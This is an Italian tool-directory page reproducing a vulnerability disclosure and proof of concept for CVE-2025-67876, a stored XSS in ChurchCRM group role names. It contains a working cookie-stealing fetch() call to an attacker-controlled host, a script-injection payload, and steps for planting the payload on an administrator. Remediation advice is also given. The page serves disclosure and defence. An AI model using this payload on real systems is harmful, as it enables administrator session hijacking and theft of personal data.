Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-67876 — Dimostrazione proof-of-concept dettagliata di CVE-2025-67876 che mostra una XSS persistente nei nomi dei ruoli dei gruppi in ChurchCRM, che porta al dirottamento della sessione dell'amministratore, con guida completa allo sfruttamento e raccomandazioni di rimedio. | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2025-67876
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e Formazione
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

Dimostrazione proof-of-concept dettagliata di CVE-2025-67876 che mostra una XSS persistente nei nomi dei ruoli dei gruppi in ChurchCRM, che porta al dirottamento della sessione dell'amministratore, con guida completa allo sfruttamento e raccomandazioni di rimedio.

Vedi Repository
25 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-67876: ChurchCRM presenta una XSS persistente nel nome dei ruoli dei gruppi che porta al dirottamento della sessione admin

Panoramica

CampoDettagli
CVE IDCVE-2025-67876
GravitàCRITICA
AdvisoryVisualizza l'advisory
Scoperto daLukasz Rybak

Prodotti interessati

  • ChurchCRM/CRM

Dettagli

Riepilogo

Esiste una vulnerabilità di cross-site scripting (XSS) persistente in ChurchCRM che consente a un utente con privilegi limitati e con il permesso “Manage Groups” di iniettare JavaScript persistente nei nomi dei ruoli dei gruppi. Il payload viene salvato nel database ed eseguito ogni volta che un utente (inclusi gli amministratori) visualizza una pagina che mostra quel ruolo, come GroupView.php o PersonView.php. Ciò consente il dirottamento completo della sessione e la compromissione dell'account.

Dettagli

La causa principale è la mancanza di validazione dell'input e di codifica dell'output nella gestione dei nomi dei ruoli dei gruppi.

Quando si modifica un gruppo in GroupEditor.php, l'utente può modificare i nomi dei ruoli. L'applicazione non igienizza l'input (ad es. niente strip_tags, htmlspecialchars o validazione lato server). Il valore viene memorizzato nella tabella del database list_lst.

Successivamente, il valore memorizzato viene iniettato direttamente nell'HTML senza escaping:

  • In GroupView.php, i ruoli dei gruppi compaiono all'interno di celle di tabella racchiusi in .
  • In PersonView.php, i ruoli assegnati all'utente vengono mostrati sotto “Assigned Groups”. Poiché non viene applicato alcun escaping, qualsiasi HTML o JavaScript memorizzato nel nome del ruolo viene eseguito nel browser della vittima.

Un utente con privilegi limitati (con Manage Groups) può quindi aumentare i propri privilegi fino a diventare amministratore completo iniettando JavaScript in un ruolo e assegnando quel ruolo a un admin.

PoC

Fase 1 - Configurazione dell'attaccante

Crea x.js sulla macchina controllata dall'attaccante:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

Servi il file:

python3 -m http.server 800

Fase 2 - Iniezione del payload XSS

  1. Accedi come utente con il permesso Manage Groups.

    immagine
  2. Vai su: Groups → List Groups → seleziona un gruppo → Settings.

  3. Nella sezione “Group Roles”, modifica un ruolo esistente o creane uno nuovo.

  4. Inserisci il payload malevolo:

"><script src=//172.20.0.1:800/x.js></script>

immagine

Nell'elenco Group Roles, fai clic su Default accanto al ruolo che contiene il payload XSS iniettato. In questo modo il ruolo malevolo verrà assegnato automaticamente a qualsiasi utente aggiunto al gruppo, aumentando la probabilità che un amministratore inneschi la XSS quando visualizza il proprio profilo. immagine Fai clic su Delete accanto al precedente ruolo predefinito, di solito "Member". La rimozione del ruolo predefinito pulito costringe il sistema a utilizzare il ruolo con la XSS iniettata per tutte le assegnazioni future, garantendo l'esecuzione quando la vittima visualizza qualsiasi pagina che mostra il ruolo assegnato. immagine

  1. Salva il nome del ruolo. immagine

Fase 3 - Assegnazione del ruolo malevolo a una vittima

  1. Vai alla pagina Group View.

  2. Aggiungi un utente come membro del gruppo (ad es. Church Admin).

    immagine
  3. Seleziona il ruolo malevolo dal menu a tendina.

  4. Salva l'assegnazione.

    immagine

Fase 4 - Esecuzione della XSS

Quando la vittima (admin) visita:

  • Il proprio profilo utente: PersonView.php

    immagine
  • La pagina di visualizzazione del gruppo: GroupView.php

Il JavaScript memorizzato viene eseguito immediatamente.

Sul server dell'attaccante appariranno le richieste in arrivo: immagine

immagine

Questo conferma l'avvenuta compromissione dell'account.

Impatto

  • XSS persistente
  • Dirottamento completo della sessione dell'amministratore
  • Escalation dei privilegi da utente con permessi limitati ad amministratore di sistema completo
  • Esposizione di tutti i dati personali sensibili memorizzati in ChurchCRM

CWE

CWE-79: Neutralizzazione impropria dell'input durante la generazione della pagina web (‘Cross-site Scripting’)

Raccomandazioni

  • Implementa la codifica dell'output (htmlspecialchars) per tutte le rappresentazioni dei nomi dei ruoli.
  • Valida e igienizza i nomi dei ruoli lato server.
  • Controlla altri campi modificabili basati su elenchi per individuare vulnerabilità simili.
  • Valuta l'utilizzo di una libreria centralizzata di escaping o di un motore di template.

Riferimenti

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

Disclaimer

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite hanno esclusivamente finalità educative e difensive.

Scarica lo strumento